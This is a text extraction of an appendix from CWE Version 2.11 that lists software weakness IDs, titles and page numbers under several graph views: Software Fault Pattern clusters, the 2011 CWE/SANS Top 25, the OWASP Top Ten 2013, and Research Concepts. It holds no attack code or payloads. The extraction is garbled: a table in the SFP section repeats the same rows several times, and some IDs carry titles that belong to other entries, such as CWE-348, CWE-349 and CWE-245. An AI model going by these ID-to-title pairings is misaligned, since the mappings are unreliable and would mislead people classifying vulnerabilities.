CWE Version 2.11

Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters

- CWE-420: Unprotected Alternate Channel (p. 725)
- CWE-421: Race Condition During Access to Alternate Channel (p. 726)
- CWE-441: Unintended Proxy or Intermediary (‘Confused Deputy’) (p. 755)

CWE-957: SFP Secondary Cluster: Protocol Error (p. 1379)
- CWE-353: Missing Support for Integrity Check (p. 617)
- CWE-435: Interaction Error (p. 750)
- CWE-436: Interpretation Conflict (p. 751)
- CWE-437: Incomplete Model of Endpoint Features (p. 753)
- CWE-757: Selection of Less-Secure Algorithm During Negotiation (‘Algorithm Downgrade’) (p. 1155)

CWE-903: SFP Primary Cluster: Cryptography (p. 1332)

CWE-958: SFP Secondary Cluster: Broken Cryptography (p. 1379)
- CWE-325: Missing Required Cryptographic Step (p. 571)
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)
- CWE-328: Reversible One-Way Hash (p. 579)
- CWE-759: Use of a One-Way Hash without a Salt (p. 1156)
- CWE-760: Use of a One-Way Hash with a Predictable Salt (p. 1160)

CWE-959: SFP Secondary Cluster: Weak Cryptography (p. 1379)
- CWE-261: Weak Cryptography for Passwords (p. 465)
- CWE-322: Key Exchange without Entity Authentication (p. 568)
- CWE-323: Reusing a Nonce, Key Pair in Encryption (p. 569)
- CWE-324: Use of a Key Past its Expiration Date (p. 570)
- CWE-326: Inadequate Encryption Strength (p. 573)
- CWE-329: Not Using a Random IV with CBC Mode (p. 581)
- CWE-347: Improper Verification of Cryptographic Signature (p. 606)
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 991)

CWE-904: SFP Primary Cluster: Malware (p. 1333)

CWE-968: SFP Secondary Cluster: Covert Channel (p. 1384)
- CWE-385: Covert Timing Channel (p. 667)
- CWE-514: Covert Channel (p. 860)
- CWE-515: Covert Storage Channel (p. 861)
- CWE-506: Embedded Malicious Code (p. 854)
- CWE-507: Trojan Horse (p. 855)
- CWE-508: Non-Replicating Malicious Code (p. 856)
- CWE-509: Replicating Malicious Code (Virus or Worm) (p. 857)
- CWE-510: Trapdoor (p. 857)
- CWE-511: Logic/Time Bomb (p. 859)
- CWE-512: Spyware (p. 859)
- CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p. 105)

CWE-905: SFP Primary Cluster: Predictability (p. 1333)

CWE-330: Use of Insufficiently Random Values (p. 582)
- CWE-331: Insufficient Entropy (p. 587)
- CWE-332: Insufficient Entropy in PRNG (p. 588)
- CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 589)
- CWE-334: Small Space of Random Values (p. 590)
- CWE-335: PRNG Seed Error (p. 592)
- CWE-336: Same Seed in PRNG (p. 593)
- CWE-337: Predictable Seed in PRNG (p. 594)
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p. 595)
- CWE-339: Small Seed Space in PRNG (p. 596)
- CWE-340: Predictability Problems (p. 597)
- CWE-341: Predictable from Observable State (p. 597)
- CWE-342: Predictable Exact Value from Previous Values (p. 599)
- CWE-343: Predictable Value Range from Previous Values (p. 600)
- CWE-344: Use of Invariant Value in Dynamically Changing Context (p. 601)
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-348</td>
<td>Obssolete Feature in UI (p. 763)</td>
</tr>
<tr>
<td>CWE-447</td>
<td>Unimplemented or Unsupported Feature in UI (p. 762)</td>
</tr>
<tr>
<td>CWE-448</td>
<td>The UI Performs the Wrong Action (p. 763)</td>
</tr>
<tr>
<td>CWE-450</td>
<td>Multiple Interpretations of UI Input (p. 764)</td>
</tr>
<tr>
<td>CWE-451</td>
<td>User Interface (UI) Misrepresentation of Critical Information (p. 765)</td>
</tr>
<tr>
<td>CWE-549</td>
<td>Missing Password Field Masking (p. 890)</td>
</tr>
<tr>
<td>CWE-655</td>
<td>Insufficient Psychological Acceptability (p. 1016)</td>
</tr>
<tr>
<td>CWE-996</td>
<td>SFP Primary Cluster: Security (p. 1396)</td>
</tr>
<tr>
<td>CWE-356</td>
<td>Product UI does not Warn User of Unsafe Actions (p. 621)</td>
</tr>
<tr>
<td>CWE-357</td>
<td>Insufficient UI Warning of Dangerous Operations (p. 622)</td>
</tr>
<tr>
<td>CWE-446</td>
<td>UI Discrepancy for Security Feature (p. 761)</td>
</tr>
<tr>
<td>CWE-997</td>
<td>SFP Secondary Cluster: Information Loss (p. 1397)</td>
</tr>
<tr>
<td>CWE-221</td>
<td>Information Loss or Omission (p. 414)</td>
</tr>
<tr>
<td>CWE-222</td>
<td>Truncation of Security-relevant Information (p. 414)</td>
</tr>
<tr>
<td>CWE-223</td>
<td>Omission of Security-relevant Information (p. 415)</td>
</tr>
<tr>
<td>CWE-224</td>
<td>Obscured Security-relevant Information by Alternate Name (p. 416)</td>
</tr>
<tr>
<td>CWE-906</td>
<td>SFP Primary Cluster: UI (p. 1333)</td>
</tr>
<tr>
<td>CWE-995</td>
<td>SFP Secondary Cluster: Feature (p. 1396)</td>
</tr>
<tr>
<td>CWE-349</td>
<td>Insufficient UI Warning of Dangerous Operations (p. 622)</td>
</tr>
<tr>
<td>CWE-655</td>
<td>Insufficient Psychological Acceptability (p. 1016)</td>
</tr>
<tr>
<td>CWE-996</td>
<td>SFP Secondary Cluster: Security (p. 1396)</td>
</tr>
<tr>
<td>CWE-356</td>
<td>Product UI does not Warn User of Unsafe Actions (p. 621)</td>
</tr>
<tr>
<td>CWE-357</td>
<td>Insufficient UI Warning of Dangerous Operations (p. 622)</td>
</tr>
<tr>
<td>CWE-446</td>
<td>UI Discrepancy for Security Feature (p. 761)</td>
</tr>
<tr>
<td>CWE-997</td>
<td>SFP Secondary Cluster: Information Loss (p. 1397)</td>
</tr>
<tr>
<td>CWE-221</td>
<td>Information Loss or Omission (p. 414)</td>
</tr>
<tr>
<td>CWE-222</td>
<td>Truncation of Security-relevant Information (p. 414)</td>
</tr>
<tr>
<td>CWE-223</td>
<td>Omission of Security-relevant Information (p. 415)</td>
</tr>
<tr>
<td>CWE-224</td>
<td>Obscured Security-relevant Information by Alternate Name (p. 416)</td>
</tr>
<tr>
<td>CWE-907</td>
<td>SFP Primary Cluster: Other (p. 1334)</td>
</tr>
<tr>
<td>CWE-975</td>
<td>SFP Secondary Cluster: Architecture (p. 1386)</td>
</tr>
<tr>
<td>CWE-349</td>
<td>Insufficient UI Warning of Dangerous Operations (p. 622)</td>
</tr>
<tr>
<td>CWE-655</td>
<td>Insufficient Psychological Acceptability (p. 1016)</td>
</tr>
<tr>
<td>CWE-996</td>
<td>SFP Secondary Cluster: Security (p. 1396)</td>
</tr>
<tr>
<td>CWE-356</td>
<td>Product UI does not Warn User of Unsafe Actions (p. 621)</td>
</tr>
<tr>
<td>CWE-357</td>
<td>Insufficient UI Warning of Dangerous Operations (p. 622)</td>
</tr>
<tr>
<td>CWE-446</td>
<td>UI Discrepancy for Security Feature (p. 761)</td>
</tr>
<tr>
<td>CWE-997</td>
<td>SFP Secondary Cluster: Information Loss (p. 1397)</td>
</tr>
<tr>
<td>CWE-221</td>
<td>Information Loss or Omission (p. 414)</td>
</tr>
<tr>
<td>CWE-222</td>
<td>Truncation of Security-relevant Information (p. 414)</td>
</tr>
<tr>
<td>CWE-223</td>
<td>Omission of Security-relevant Information (p. 415)</td>
</tr>
<tr>
<td>CWE-224</td>
<td>Obscured Security-relevant Information by Alternate Name (p. 416)</td>
</tr>
<tr>
<td>CWE-907</td>
<td>SFP Primary Cluster: Other (p. 1334)</td>
</tr>
<tr>
<td>CWE-975</td>
<td>SFP Secondary Cluster: Architecture (p. 1386)</td>
</tr>
<tr>
<td>CWE-349</td>
<td>Insufficient UI Warning of Dangerous Operations (p. 622)</td>
</tr>
<tr>
<td>CWE-655</td>
<td>Insufficient Psychological Acceptability (p. 1016)</td>
</tr>
<tr>
<td>CWE-996</td>
<td>SFP Secondary Cluster: Security (p. 1396)</td>
</tr>
<tr>
<td>CWE-356</td>
<td>Product UI does not Warn User of Unsafe Actions (p. 621)</td>
</tr>
<tr>
<td>CWE-357</td>
<td>Insufficient UI Warning of Dangerous Operations (p. 622)</td>
</tr>
<tr>
<td>CWE-446</td>
<td>UI Discrepancy for Security Feature (p. 761)</td>
</tr>
<tr>
<td>CWE-997</td>
<td>SFP Secondary Cluster: Information Loss (p. 1397)</td>
</tr>
<tr>
<td>CWE-221</td>
<td>Information Loss or Omission (p. 414)</td>
</tr>
<tr>
<td>CWE-222</td>
<td>Truncation of Security-relevant Information (p. 414)</td>
</tr>
<tr>
<td>CWE-223</td>
<td>Omission of Security-relevant Information (p. 415)</td>
</tr>
<tr>
<td>CWE-224</td>
<td>Obscured Security-relevant Information by Alternate Name (p. 416)</td>
</tr>
</tbody>
</table>

---

**Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters**

1499
CWE Version 2.11

Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters

- CWE-596: Incorrect Semantic Object Comparison (p. 939)
- CWE-618: Exposed Unsafe ActiveX Method (p. 968)
- CWE-648: Incorrect Use of Privileged APIs (p. 1006)
- CWE-670: Always-Incorrect Control Flow Implementation (p. 1040)
- CWE-682: Incorrect Calculation (p. 1063)
- CWE-691: Insufficient Control Flow Management (p. 1075)
- CWE-696: Incorrect Behavior Order (p. 1080)
- CWE-697: Insufficient Comparison (p. 1081)
- CWE-698: Execution After Redirect (EAR) (p. 1082)
- CWE-705: Incorrect Control Flow Scoping (p. 1108)
- CWE-978: SFP Secondary Cluster: Implementation (p. 1387)
- CWE-216: Containment Errors (Container Errors) (p. 411)
- CWE-358: Improperly Implemented Security Check for Standard (p. 622)
- CWE-398: Indicator of Poor Code Quality (p. 685)
- CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 973)
- CWE-710: Coding Standards Violation (p. 1112)
Graph View: CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

CWE-864: 2011 Top 25 - Insecure Interaction Between Components (p. 1312)
- CWE-434: Unrestricted Upload of File with Dangerous Type (p. 744)
- CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 944)
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p. 1266)
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)

CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)
- CWE-346: Origin Validation Error (p. 603)
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
- CWE-613: Insufficient Session Expiration (p. 962)
- CWE-642: External Control of Critical State Data (p. 995)

CWE-856: 2011 Top 25 - Risky Resource Management (p. 1313)
- CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
- CWE-131: Incorrect Calculation of Buffer Size (p. 269)
- CWE-134: Use of Externally-Controlled Format String (p. 277)
- CWE-190: Integer Overflow or Wraparound (p. 361)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
- CWE-494: Download of Code Without Integrity Check (p. 837)
- CWE-676: Use of Potentially Dangerous Function (p. 1046)

CWE-866: 2011 Top 25 - Porous Defenses (p. 1313)
- CWE-250: Execution with Unnecessary Privileges (p. 441)
- CWE-306: Missing Authentication for Critical Function (p. 538)
- CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 542)
- CWE-311: Missing Encryption of Sensitive Data (p. 549)
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)
- CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
- CWE-759: Use of a One-Way Hash without a Salt (p. 1156)
- CWE-798: Use of Hard-coded Credentials (p. 1223)
- CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1243)
- CWE-862: Missing Authorization (p. 1303)
- CWE-863: Incorrect Authorization (p. 1308)

CWE-867: 2011 Top 25 - Weaknesses On the Cusp (p. 1314)
- CWE-129: Improper Validation of Array Index (p. 258)
- CWE-209: Information Exposure Through an Error Message (p. 397)
- CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
- CWE-330: Use of Insufficiently Random Values (p. 582)
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
- CWE-456: Missing Initialization of a Variable (p. 772)
- CWE-476: NULL Pointer Dereference (p. 800)
- CWE-681: Incorrect Conversion between Numeric Types (p. 1060)
- CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1146)
- CWE-770: Allocation of Resources Without Limits or Throttling (p. 1178)
- CWE-772: Missing Release of Resource after Effective Lifetime (p. 1186)
- CWE-805: Buffer Access with Incorrect Length Value (p. 1234)
- CWE-822: Untrusted Pointer Dereference (p. 1254)
- CWE-825: Expired Pointer Dereference (p. 1259)
- CWE-838: Inappropriate Encoding for Output Context (p. 1281)
CWE-841: Improper Enforcement of Behavioral Workflow (p. 1288)
Graph View: CWE-928: Weaknesses in OWASP Top Ten (2013)

CWE-929: OWASP Top Ten 2013 Category A1 - Injection (p. 1362)
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- CWE-88: Argument Injection or Modification (p. 155)
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - CWE-564: SQL Injection: Hibernate (p. 902)
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 168)
  - CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)

CWE-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management (p. 1363)
- CWE-256: Plaintext Storage of a Password (p. 455)
- CWE-287: Improper Authentication (p. 508)
- CWE-311: Missing Encryption of Sensitive Data (p. 549)
- CWE-319: Cleartext Transmission of Sensitive Information (p. 563)
- CWE-522: Insufficiently Protected Credentials (p. 865)
- CWE-523: Unprotected Transport of Credentials (p. 868)
- CWE-613: Insufficient Session Expiration (p. 962)
- CWE-620: Unverified Password Change (p. 969)
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 991)
- CWE-384: Session Fixation (p. 665)
  - CWE-346: Origin Validation Error (p. 603)
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
  - CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)

CWE-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS) (p. 1363)
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)

CWE-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References (p. 1363)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
- CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)
- CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)

CWE-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration (p. 1364)
- CWE-16: Configuration (p. 15)
- CWE-2: Environment (p. 1)
- CWE-209: Information Exposure Through an Error Message (p. 397)
- CWE-215: Information Exposure Through Debug Information (p. 409)
- CWE-548: Information Exposure Through Directory Listing (p. 889)

CWE-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure (p. 1364)
- CWE-310: Cryptographic Issues (p. 548)
- CWE-320: Key Management Errors (p. 565)
- CWE-311: Missing Encryption of Sensitive Data (p. 549)
- CWE-312: Cleartext Storage of Sensitive Information (p. 555)
- CWE-319: Cleartext Transmission of Sensitive Information (p. 563)
- CWE-325: Missing Required Cryptographic Step (p. 571)
- CWE-326: Inadequate Encryption Strength (p. 573)
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)
- CWE-328: Reversible One-Way Hash (p. 579)

CWE-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control (p. 1365)
- CWE-285: Improper Authorization (p. 502)
- CWE-287: Improper Authentication (p. 508)
Appendix A - Graph Views: CWE-928: Weaknesses in OWASP Top Ten (2013)

- CWE-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF) (p. 1365)
  - CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)
  - CWE-346: Origin Validation Error (p. 603)
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
  - CWE-613: Insufficient Session Expiration (p. 962)
  - CWE-642: External Control of Critical State Data (p. 995)

- CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities (p. 1365)
  - CWE-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards (p. 1366)
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 944)
Graph View: CWE-1000: Research Concepts

- CWE-118: Incorrect Access of Indexable Resource ('Range Error') (p. 225)
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
- CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
- CWE-170: Improper Null Termination (p. 328)
- CWE-231: Improper Handling of Extra Values (p. 423)
- CWE-242: Use of Inherently Dangerous Function (p. 432)
- CWE-416: Use After Free (p. 720)
- CWE-456: Missing Initialization of a Variable (p. 772)
- CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1207)
- CWE-123: Write-what-where Condition (p. 248)
- CWE-125: Out-of-bounds Read (p. 253)
- CWE-126: Buffer Over-read (p. 254)
- CWE-127: Buffer Under-read (p. 256)
- CWE-822: Untrusted Pointer Dereference (p. 1254)
- CWE-823: Use of Out-of-range Pointer Offset (p. 1256)
- CWE-824: Access of Uninitialized Pointer (p. 1257)
- CWE-825: Expired Pointer Dereference (p. 1259)
- CWE-415: Double Free (p. 718)
- CWE-416: Use After Free (p. 720)
- CWE-562: Return of Stack Variable Address (p. 900)
- CWE-128: Wrap-around Error (p. 256)
- CWE-129: Improper Validation of Array Index (p. 258)
- CWE-131: Incorrect Calculation of Buffer Size (p. 269)
- CWE-190: Integer Overflow or Wraparound (p. 361)
- CWE-193: Off-by-one Error (p. 371)
- CWE-195: Signed to Unsigned Conversion Error (p. 377)
- CWE-20: Improper Input Validation (p. 18)
- CWE-105: Struts: Form Field Without Validator (p. 198)
- CWE-106: Struts: Plug-in Framework not in Use (p. 201)
- CWE-108: Struts: Unvalidated Action Form (p. 204)
- CWE-109: Struts: Validator Turned Off (p. 205)
- CWE-112: Missing XML Validation (p. 210)
- CWE-114: Process Control (p. 215)
- CWE-129: Improper Validation of Array Index (p. 258)
- CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 893)
- CWE-606: Unchecked Input for Loop Condition (p. 954)
- CWE-622: Improper Validation of Function Hook Arguments (p. 972)
- CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 976)
- CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code (p. 1200)
- CWE-789: Uncontrolled Memory Allocation (p. 1215)
- CWE-680: Integer Overflow to Buffer Overflow (p. 1059)
- CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1073)
- CWE-692: Incorrect Blacklist to Cross-Site Scripting (p. 1076)
- CWE-466: Return of Pointer Value Outside of Expected Range (p. 785)
- CWE-786: Access of Memory Location Before Start of Buffer (p. 1209)
- CWE-124: Buffer Underwrite ('Buffer Underflow') (p. 250)
- CWE-127: Buffer Under-read (p. 256)
- CWE-787: Out-of-bounds Write (p. 1211)
- CWE-121: Stack-based Buffer Overflow (p. 242)
- CWE-122: Heap-based Buffer Overflow (p. 245)
- CWE-124: Buffer Underwrite ('Buffer Underflow') (p. 250)
- CWE-822: Untrusted Pointer Dereference (p. 1254)
- CWE-823: Use of Out-of-range Pointer Offset (p. 1256)
Appendix A - Graph Views: CWE-1000: Research Concepts

CWE-824: Access of Uninitialized Pointer (p. 1257)
CWE-825: Expired Pointer Dereference (p. 1259)
CWE-415: Double Free (p. 718)
CWE-416: Use After Free (p. 720)
CWE-562: Return of Stack Variable Address (p. 900)
CWE-788: Access of Memory Location After End of Buffer (p. 1212)
CWE-121: Stack-based Buffer Overflow (p. 242)
CWE-122: Heap-based Buffer Overflow (p. 245)
CWE-126: Buffer Over-read (p. 254)
CWE-805: Buffer Access with Incorrect Length Value (p. 1234)
CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
CWE-806: Buffer Access Using Size of Source Buffer (p. 1239)
CWE-822: Untrusted Pointer Dereference (p. 1254)
CWE-823: Use of Out-of-range Pointer Offset (p. 1256)
CWE-824: Access of Uninitialized Pointer (p. 1257)
CWE-825: Expired Pointer Dereference (p. 1259)
CWE-415: Double Free (p. 718)
CWE-416: Use After Free (p. 720)
CWE-562: Return of Stack Variable Address (p. 900)
CWE-839: Numeric Range Comparison Without Minimum Check (p. 1283)
CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p. 1291)
CWE-330: Use of Insufficiently Random Values (p. 582)
CWE-329: Not Using a Random IV with CBC Mode (p. 581)
CWE-331: Insufficient Entropy (p. 587)
CWE-332: Insufficient Entropy in PRNG (p. 588)
CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 589)
CWE-334: Small Space of Random Values (p. 590)
CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p. 3)
CWE-335: PRNG Seed Error (p. 592)
CWE-336: Same Seed in PRNG (p. 593)
CWE-337: Predictable Seed in PRNG (p. 594)
CWE-339: Small Seed Space in PRNG (p. 596)
CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p. 595)
CWE-340: Predictability Problems (p. 597)
CWE-341: Predictable from Observable State (p. 597)
CWE-342: Predictable Exact Value from Previous Values (p. 599)
CWE-343: Predictable Value Range from Previous Values (p. 600)
CWE-344: Use of Invariant Value in Dynamically Changing Context (p. 601)
CWE-323: Reusing a Nonce, Key Pair in Encryption (p. 569)
CWE-587: Assignment of a Fixed Address to a Pointer (p. 929)
CWE-798: Use of Hard-coded Credentials (p. 1223)
CWE-259: Use of Hard-coded Password (p. 460)
CWE-321: Use of Hard-coded Cryptographic Key (p. 566)
CWE-804: Guessable CAPTCHA (p. 1233)
CWE-435: Interaction Error (p. 750)
CWE-188: Reliance on Data/Memory Layout (p. 359)
CWE-198: Use of Incorrect Byte Ordering (p. 383)
CWE-436: Interpretation Conflict (p. 751)
CWE-115: Misinterpretation of Input (p. 217)
CWE-437: Incomplete Model of Endpoint Features (p. 753)
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (p. 758)
CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 976)
CWE-650: Trusting HTTP Permission Methods on the Server Side (p. 1009)
CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
CWE-439: Behavioral Change in New Version or Environment (p. 754)
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (p. 1131)
CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)

CWE-664: Improper Control of a Resource Through its Lifetime (p. 1028)
CWE-221: Information Loss or Omission (p. 414)
CWE-222: Truncation of Security-relevant Information (p. 414)
CWE-223: Omission of Security-relevant Information (p. 415)
CWE-778: Insufficient Logging (p. 1196)
CWE-224: Obscured Security-relevant Information by Alternate Name (p. 416)
CWE-356: Product UI does not Warn User of Unsafe Actions (p. 621)
CWE-396: Declaration of Catch for Generic Exception (p. 683)
CWE-397: Declaration of Throws for Generic Exception (p. 684)
CWE-451: User Interface (UI) Misrepresentation of Critical Information (p. 765)

CWE-267: Privilege Defined With Unsafe Actions (p. 474)
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 973)
CWE-268: Privilege Chaining (p. 476)
CWE-270: Privilege Context Switching Error (p. 480)
CWE-271: Privilege Dropping / Lowering Errors (p. 481)
CWE-272: Least Privilege Violation (p. 483)
CWE-273: Improper Check for Dropped Privileges (p. 486)
CWE-274: Improper Handling of Insufficient Privileges (p. 488)
CWE-648: Incorrect Use of Privileged APIs (p. 1006)

CWE-269: Improper Privilege Management (p. 478)
CWE-250: Execution with Unnecessary Privileges (p. 441)
CWE-266: Incorrect Privilege Assignment (p. 472)
CWE-520: .NET Misconfiguration: Use of Impersonation (p. 864)
CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 894)
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
CWE-267: Privilege Defined With Unsafe Actions (p. 474)
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 973)
CWE-268: Privilege Chaining (p. 476)
CWE-270: Privilege Context Switching Error (p. 480)
CWE-271: Privilege Dropping / Lowering Errors (p. 481)
CWE-272: Least Privilege Violation (p. 483)
CWE-273: Improper Check for Dropped Privileges (p. 486)
CWE-274: Improper Handling of Insufficient Privileges (p. 488)
CWE-648: Incorrect Use of Privileged APIs (p. 1006)
CWE-269: Improper Privilege Management (p. 478)
CWE-250: Execution with Unnecessary Privileges (p. 441)
CWE-266: Incorrect Privilege Assignment (p. 472)
CWE-520: .NET Misconfiguration: Use of Impersonation (p. 864)
CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 894)
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
CWE-267: Privilege Defined With Unsafe Actions (p. 474)
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 973)
CWE-268: Privilege Chaining (p. 476)
CWE-270: Privilege Context Switching Error (p. 480)
CWE-271: Privilege Dropping / Lowering Errors (p. 481)
CWE-272: Least Privilege Violation (p. 483)
CWE-273: Improper Check for Dropped Privileges (p. 486)
CWE-274: Improper Handling of Insufficient Privileges (p. 488)
CWE-648: Incorrect Use of Privileged APIs (p. 1006)

CWE-282: Improper Ownership Management (p. 498)
CWE-283: Unverified Ownership (p. 499)
CWE-708: Incorrect Ownership Assignment (p. 1111)

CWE-285: Improper Authorization (p. 502)
CWE-219: Sensitive Data Under Web Root (p. 412)
CWE-433: Unparsed Raw Web Content Delivery (p. 743)
CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (p. 1415)
CWE-276: Incorrect Default Permissions (p. 491)
CWE-277: Insecure Inherited Permissions (p. 493)
CWE-278: Insecure Preserved Inherited Permissions (p. 494)
CWE-279: Incorrect Execution-Assigned Permissions (p. 495)
CWE-281: Improper Preservation of Permissions (p. 497)
CWE-689: Permission Race Condition During Resource Copy (p. 1072)
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)

CWE-862: Missing Authorization (p. 1303)
CWE-425: Direct Request ('Forced Browsing') (p. 729)
CWE-638: Not Using Complete Mediation (p. 988)
CWE-424: Improper Protection of Alternate Path (p. 728)
CWE-245: Direct Request ('Forced Browsing') (p. 729)
CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)
CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 905)
CWE-939: Improper Authorization in Handler for Custom URL Scheme (p. 1366)
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 891)
Appendix A - Graph Views: CWE-1000: Research Concepts

- **CWE-647**: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1004)
- **CWE-804**: Guessable CAPTCHA (p. 1233)
- **CWE-926**: Improper Export of Android Application Components (p. 1356)
- **CWE-927**: Use of Implicit Intent for Sensitive Communication (p. 1359)
- **CWE-286**: Incorrect User Management (p. 508)
- **CWE-842**: Placement of User into Incorrect Group (p. 1290)
- **CWE-287**: Improper Authentication (p. 508)
- **CWE-261**: Weak Cryptography for Passwords (p. 465)
- **CWE-262**: Not Using Password Aging (p. 467)
- **CWE-263**: Password Aging with Long Expiration (p. 468)
- **CWE-288**: Authentication Bypass Using an Alternate Path or Channel (p. 513)
- **CWE-425**: Direct Request ('Forced Browsing') (p. 729)
- **CWE-289**: Authentication Bypass by Alternate Name (p. 514)
- **CWE-290**: Authentication Bypass by Spoofing (p. 516)
- **CWE-291**: Reliance on IP Address for Authentication (p. 518)
- **CWE-293**: Using Referer Field for Authentication (p. 520)
- **CWE-350**: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 609)
- **CWE-294**: Authentication Bypass by Capture-replay (p. 521)
- **CWE-301**: Reflection Attack in an Authentication Protocol (p. 533)
- **CWE-302**: Authentication Bypass by Assumed-Immutable Data (p. 535)
- **CWE-303**: Incorrect Implementation of Authentication Algorithm (p. 536)
- **CWE-305**: Authentication Bypass by Primary Weakness (p. 537)
- **CWE-306**: Missing Authentication for Critical Function (p. 538)
- **CWE-307**: Improper Restriction of Excessive Authentication Attempts (p. 542)
- **CWE-308**: Use of Single-factor Authentication (p. 545)
- **CWE-309**: Use of Password System for Primary Authentication (p. 546)
- **CWE-521**: Weak Password Requirements (p. 864)
- **CWE-258**: Empty Password in Configuration File (p. 459)
- **CWE-522**: Insufficiently Protected Credentials (p. 865)
- **CWE-256**: Plaintext Storage of a Password (p. 455)
- **CWE-257**: Storing Passwords in a Recoverable Format (p. 457)
- **CWE-260**: Password in Configuration File (p. 464)
- **CWE-13**: ASP.NET Misconfiguration: Password in Configuration File (p. 11)
- **CWE-258**: Empty Password in Configuration File (p. 459)
- **CWE-523**: unprotected Transport of Credentials (p. 868)
- **CWE-549**: Missing Password Field Masking (p. 890)
- **CWE-555**: J2EE Misconfiguration: Plaintext Password in Configuration File (p. 894)
- **CWE-593**: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p. 935)
- **CWE-603**: Use of Client-Side Authentication (p. 952)
- **CWE-613**: Insufficient Session Expiration (p. 962)
